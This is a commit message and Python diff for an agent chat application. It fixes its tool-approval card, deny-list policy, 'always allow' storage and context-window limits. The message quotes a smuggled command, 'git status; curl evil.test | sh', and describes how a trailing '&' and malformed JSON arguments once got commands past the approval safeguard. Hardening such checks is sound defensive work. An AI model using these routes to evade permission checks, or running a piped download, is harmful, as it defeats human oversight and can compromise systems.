Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -17,7 +17,6 @@ from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
import uuid
|
||||
@@ -35,6 +34,7 @@ from lembas.services import metrics as metrics_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
from lembas.services.agent import tools as agent_tools
|
||||
from lembas.services.llm.openai_client import (
|
||||
LLMError,
|
||||
chunk_usage,
|
||||
@@ -69,6 +69,18 @@ MAX_TOOL_ROUNDS = 200
|
||||
# say so and be believed rather than argued with indefinitely.
|
||||
MAX_NUDGES = 2
|
||||
|
||||
# How much of the window a request may occupy before the next round is refused.
|
||||
# A tool round appends an assistant turn and a tool turn per call, so a reply
|
||||
# that keeps calling tools grows its own request until the endpoint refuses it --
|
||||
# and `_maybe_compact` runs once, before the first round, so nothing was watching
|
||||
# it after that. The only other guard, `max_total_output_bytes`, defaults to a
|
||||
# megabyte, which is about 260k tokens: larger than the window of nearly every
|
||||
# model this talks to, so it never fired first.
|
||||
#
|
||||
# The tenth left over is room to answer in. Stopping with an explanation beats an
|
||||
# upstream error that says only that the request was too long.
|
||||
CONTEXT_HEADROOM = 0.9
|
||||
|
||||
|
||||
@dataclass
|
||||
class Generation:
|
||||
@@ -98,6 +110,14 @@ class Generation:
|
||||
# has a percentage to show while the reply is still being written -- real
|
||||
# usage only arrives in a single chunk at the very end.
|
||||
prompt_estimate: int = 0
|
||||
# Every round's estimate added up, against `prompt_estimate` being only the
|
||||
# latest. The two answer different questions and both are wanted: what the
|
||||
# reply *cost* is the sum, because a three-round reply pays for its prompt
|
||||
# three times; what it *occupies* is the last one. That is exactly the split
|
||||
# the reported figures already use between `prompt_tokens` and
|
||||
# `context_tokens`, so the fallback mirrors it rather than inventing a
|
||||
# second convention.
|
||||
prompt_estimate_total: int = 0
|
||||
rounds: int = 0
|
||||
# time.monotonic() at the start. A field rather than a local in `_run`
|
||||
# because `_follow` is a different function that sees only this object, and
|
||||
@@ -215,6 +235,26 @@ def answer(
|
||||
return False
|
||||
|
||||
|
||||
def pending_items(chat_id: str, interaction_id: str) -> tuple[interaction.Item, ...]:
|
||||
"""What the card this chat is waiting on is asking about.
|
||||
|
||||
For the route that has to record what "always" meant. It must be read
|
||||
*before* the pause is resolved: `interaction.wait_for` clears
|
||||
`generation.pending` in its `finally`, so a moment later there is nothing
|
||||
left to read and "always" would silently remember nothing.
|
||||
|
||||
Empty when there is no such pause -- already answered, timed out, or the
|
||||
server restarted -- which is the same answer `answer` gives, and means a
|
||||
stale card records nothing rather than half of something.
|
||||
"""
|
||||
for generation in _RUNNING.values():
|
||||
pending = generation.pending
|
||||
if generation.chat_id != chat_id or pending is None or pending.id != interaction_id:
|
||||
continue
|
||||
return pending.items
|
||||
return ()
|
||||
|
||||
|
||||
def running_for(chat_id: str) -> Generation | None:
|
||||
"""The reply being written in this chat, if there is one.
|
||||
|
||||
@@ -381,8 +421,6 @@ async def _run(generation: Generation) -> None:
|
||||
chat_rounds = settings_store.chat_rounds(db)
|
||||
nudge_enabled = bool(settings_store.agents(db).get("nudge_unfinished"))
|
||||
|
||||
generation.prompt_estimate = tokens.estimate_request(payload)
|
||||
|
||||
limits = tool_context.agent.limits if tool_context.agent else None
|
||||
# A ceiling, not a schedule -- the loop below ends the moment a round
|
||||
# produces no tool calls, which is the model saying it is done. Zero
|
||||
@@ -394,6 +432,24 @@ async def _run(generation: Generation) -> None:
|
||||
for round_number in range(budget + 1):
|
||||
generation.rounds = round_number + 1
|
||||
|
||||
# Recomputed every round, against once before the loop. The request
|
||||
# grows by an assistant turn and a tool turn per call each time, so
|
||||
# a single estimate taken up front described the first round and
|
||||
# nothing after it -- and for the endpoints that send no usage block
|
||||
# at all (llama.cpp, Ollama and friends) that estimate *is* the
|
||||
# figure everything downstream reports. A forty-round reply showed
|
||||
# the first round's prompt as the whole reply's.
|
||||
generation.prompt_estimate = tokens.estimate_request(payload)
|
||||
generation.prompt_estimate_total += generation.prompt_estimate
|
||||
|
||||
# Before spending a request that cannot fit. Outside the agent
|
||||
# branch below on purpose: an ordinary chat with a round budget can
|
||||
# fill a small window too, and `context_limit` is what decides,
|
||||
# not what kind of chat it is.
|
||||
if round_number and _too_big(generation):
|
||||
_gave_up(generation, "with no room left in the context window")
|
||||
break
|
||||
|
||||
# Checked between rounds, never mid-stream: cutting a reply off in
|
||||
# the middle of a sentence to enforce a budget produces garbage, and
|
||||
# Stop already covers the mid-stream case. Time spent waiting for a
|
||||
@@ -530,15 +586,23 @@ async def _run(generation: Generation) -> None:
|
||||
break
|
||||
|
||||
messages = [
|
||||
# The **raw** arguments string, not the parsed dict: the
|
||||
# endpoint has to see back exactly what it sent, or an
|
||||
# id-matching server pairs its own call with something it does
|
||||
# not recognise.
|
||||
*payload["messages"],
|
||||
tools_service.assistant_turn(calls, "".join(round_text)),
|
||||
]
|
||||
|
||||
# Parsed once, here, and shared by everything below: the approval
|
||||
# card, `policy.decide`, and the runner. See `_arguments_for`.
|
||||
arguments = _arguments_for(tool_context, calls)
|
||||
|
||||
# Decided before anything runs, never during. A round's calls run
|
||||
# together under a semaphore, and four people-shaped pauses inside
|
||||
# that gather would queue behind each other invisibly -- see
|
||||
# services/interaction.py.
|
||||
decided, allowed = await _authorise(generation, tool_context, calls)
|
||||
decided, allowed = await _authorise(generation, tool_context, calls, arguments)
|
||||
if generation.stopped:
|
||||
break
|
||||
|
||||
@@ -546,7 +610,7 @@ async def _run(generation: Generation) -> None:
|
||||
generation.touch()
|
||||
try:
|
||||
outcomes = await _run_calls(
|
||||
tool_context, calls, decided=decided, allowed=allowed
|
||||
tool_context, calls, arguments, decided=decided, allowed=allowed
|
||||
)
|
||||
finally:
|
||||
generation.status = ""
|
||||
@@ -620,8 +684,14 @@ async def _run(generation: Generation) -> None:
|
||||
generation.completion_tokens = tokens.estimate(
|
||||
generation.text + generation.thinking
|
||||
)
|
||||
generation.prompt_tokens = generation.prompt_estimate
|
||||
generation.context_tokens = generation.prompt_tokens + generation.completion_tokens
|
||||
# Mirroring the reported figures exactly: the prompt is summed
|
||||
# across rounds because it was paid for each time, while what the
|
||||
# reply *occupies* is the last round's prompt plus what was written.
|
||||
# Both used to come from one estimate taken before the first round.
|
||||
generation.prompt_tokens = (
|
||||
generation.prompt_estimate_total or generation.prompt_estimate
|
||||
)
|
||||
generation.context_tokens = generation.prompt_estimate + generation.completion_tokens
|
||||
|
||||
# Naming the chat is a second, short completion, so it has to happen
|
||||
# here rather than in the synchronous persist step below. Best-effort:
|
||||
@@ -900,6 +970,20 @@ def _nudge(
|
||||
}
|
||||
|
||||
|
||||
def _too_big(generation: Generation) -> bool:
|
||||
"""Whether the request about to go out leaves no room to answer in.
|
||||
|
||||
`context_limit` of 0 is *unknown*, not small -- the rule this codebase
|
||||
already applies to the context percentage and to automatic compaction -- so
|
||||
a model nobody has declared a window for is never stopped by this. That is
|
||||
the honest answer: the alternative is refusing to work on every model an
|
||||
administrator has not filled a number in for.
|
||||
"""
|
||||
if not generation.context_limit:
|
||||
return False
|
||||
return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM
|
||||
|
||||
|
||||
def _written(generation: Generation) -> int:
|
||||
"""How much this reply has written so far, in tokens, reported or estimated.
|
||||
|
||||
@@ -931,12 +1015,29 @@ def _tool_status(calls: list[dict]) -> str:
|
||||
return f"Running {len(calls)} tools…"
|
||||
|
||||
|
||||
def _arguments_of(call: dict) -> dict:
|
||||
try:
|
||||
args = json.loads(call["arguments"] or "{}")
|
||||
except json.JSONDecodeError:
|
||||
return {}
|
||||
return args if isinstance(args, dict) else {}
|
||||
def _book(context) -> dict:
|
||||
"""The tools this request may call, keyed by name.
|
||||
|
||||
`context.tools` is authoritative *even when empty* -- a dict means somebody
|
||||
resolved a set. Only `None` means nobody did, which is the one case that
|
||||
falls back to the import-time registry.
|
||||
"""
|
||||
return context.tools if context.tools is not None else tools_service.REGISTRY
|
||||
|
||||
|
||||
def _arguments_for(context, calls: list[dict]) -> list[dict]:
|
||||
"""Every call's arguments in this round, parsed once.
|
||||
|
||||
Once, and shared: the card, the policy and the runner all read the same
|
||||
dict. Two parsers meant a model could emit malformed JSON and get an
|
||||
approval card with an empty command body while `run_tool`'s own fallback
|
||||
handed the raw string to `shell_run` and ran it.
|
||||
"""
|
||||
book = _book(context)
|
||||
return [
|
||||
tools_service.parse_arguments(book.get(call["name"]), call["arguments"])
|
||||
for call in calls
|
||||
]
|
||||
|
||||
|
||||
def _describe(name: str, args: dict) -> tuple[str, str]:
|
||||
@@ -953,19 +1054,23 @@ def _describe(name: str, args: dict) -> tuple[str, str]:
|
||||
return tool_labels.describe(name, args)
|
||||
|
||||
|
||||
def _approvals(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]:
|
||||
"""The calls in this round that a person has to allow before they run.
|
||||
|
||||
Only in an agent chat: `context.agent` is None everywhere else, and an
|
||||
ordinary conversation behaves exactly as it did. Within one, *every* call
|
||||
goes through the table, including the built-in ones -- `notes_edit` writes,
|
||||
and Plan mode meaning "look but do not touch" has to mean that too.
|
||||
|
||||
`arguments` is what `_arguments_for` parsed, positionally matched to
|
||||
`calls`. Deliberately not re-parsed here: the card has to describe what the
|
||||
runner will actually be given.
|
||||
"""
|
||||
agent = getattr(context, "agent", None)
|
||||
if agent is None:
|
||||
return []
|
||||
|
||||
book = context.tools if context.tools is not None else tools_service.REGISTRY
|
||||
book = _book(context)
|
||||
items: list[interaction.Item] = []
|
||||
|
||||
for index, call in enumerate(calls):
|
||||
@@ -973,7 +1078,7 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
if tool is None or tool.risk == tools_service.RISK_ASK:
|
||||
continue # unknown names are refused by run_tool; questions are their own card
|
||||
|
||||
args = _arguments_of(call)
|
||||
args = arguments[index]
|
||||
command = str(args.get("command") or "") if call["name"] == "shell_run" else ""
|
||||
decision = agent_policy.decide(
|
||||
mode=agent.mode,
|
||||
@@ -996,12 +1101,13 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
title=f"{title} on {agent.label}",
|
||||
detail=detail,
|
||||
reason=decision.reason,
|
||||
purpose=agent_tools.why_of(args),
|
||||
)
|
||||
)
|
||||
return items
|
||||
|
||||
|
||||
def _ask_items(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
def _ask_items(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]:
|
||||
"""Which of this round's calls need a person, and what to show about each.
|
||||
|
||||
Looked up through `context.tools`, the map of what was actually offered --
|
||||
@@ -1009,14 +1115,14 @@ def _ask_items(context, calls: list[dict]) -> list[interaction.Item]:
|
||||
here and refused there, so an unknown tool cannot smuggle itself past by
|
||||
being unclassifiable.
|
||||
"""
|
||||
book = context.tools if context.tools is not None else tools_service.REGISTRY
|
||||
book = _book(context)
|
||||
items: list[interaction.Item] = []
|
||||
|
||||
for index, call in enumerate(calls):
|
||||
tool = book.get(call["name"])
|
||||
if tool is None or tool.risk != tools_service.RISK_ASK:
|
||||
continue
|
||||
args = _arguments_of(call)
|
||||
args = arguments[index]
|
||||
|
||||
for asked in _questions_in(args):
|
||||
options = [str(o).strip() for o in (asked.get("options") or []) if str(o).strip()]
|
||||
@@ -1064,7 +1170,7 @@ def _questions_in(args: dict) -> list[dict]:
|
||||
|
||||
|
||||
async def _authorise(
|
||||
generation, context, calls: list[dict]
|
||||
generation, context, calls: list[dict], arguments: list[dict]
|
||||
) -> tuple[dict[int, ToolOutcome], set[int]]:
|
||||
"""Which of this round's calls may run, and what the others answer instead.
|
||||
|
||||
@@ -1079,8 +1185,8 @@ async def _authorise(
|
||||
very thing that was just approved -- the mode says "ask", and asking is what
|
||||
happened.
|
||||
"""
|
||||
questions = _ask_items(context, calls)
|
||||
approvals = _approvals(context, calls)
|
||||
questions = _ask_items(context, calls, arguments)
|
||||
approvals = _approvals(context, calls, arguments)
|
||||
items = [*approvals, *questions]
|
||||
if not items:
|
||||
return {}, set()
|
||||
@@ -1187,6 +1293,7 @@ def _answered(items: list[interaction.Item], reply: interaction.Reply) -> ToolOu
|
||||
async def _run_calls(
|
||||
context,
|
||||
calls: list[dict],
|
||||
arguments: list[dict],
|
||||
*,
|
||||
decided: dict[int, ToolOutcome] | None = None,
|
||||
allowed: set[int] | None = None,
|
||||
@@ -1224,7 +1331,9 @@ async def _run_calls(
|
||||
ctx = replace(context, agent=context.agent.as_approved())
|
||||
|
||||
async with limit:
|
||||
return await tools_service.run_tool(ctx, call["name"], call["arguments"])
|
||||
return await tools_service.run_tool(
|
||||
ctx, call["name"], call["arguments"], parsed=arguments[index]
|
||||
)
|
||||
|
||||
return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls))))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user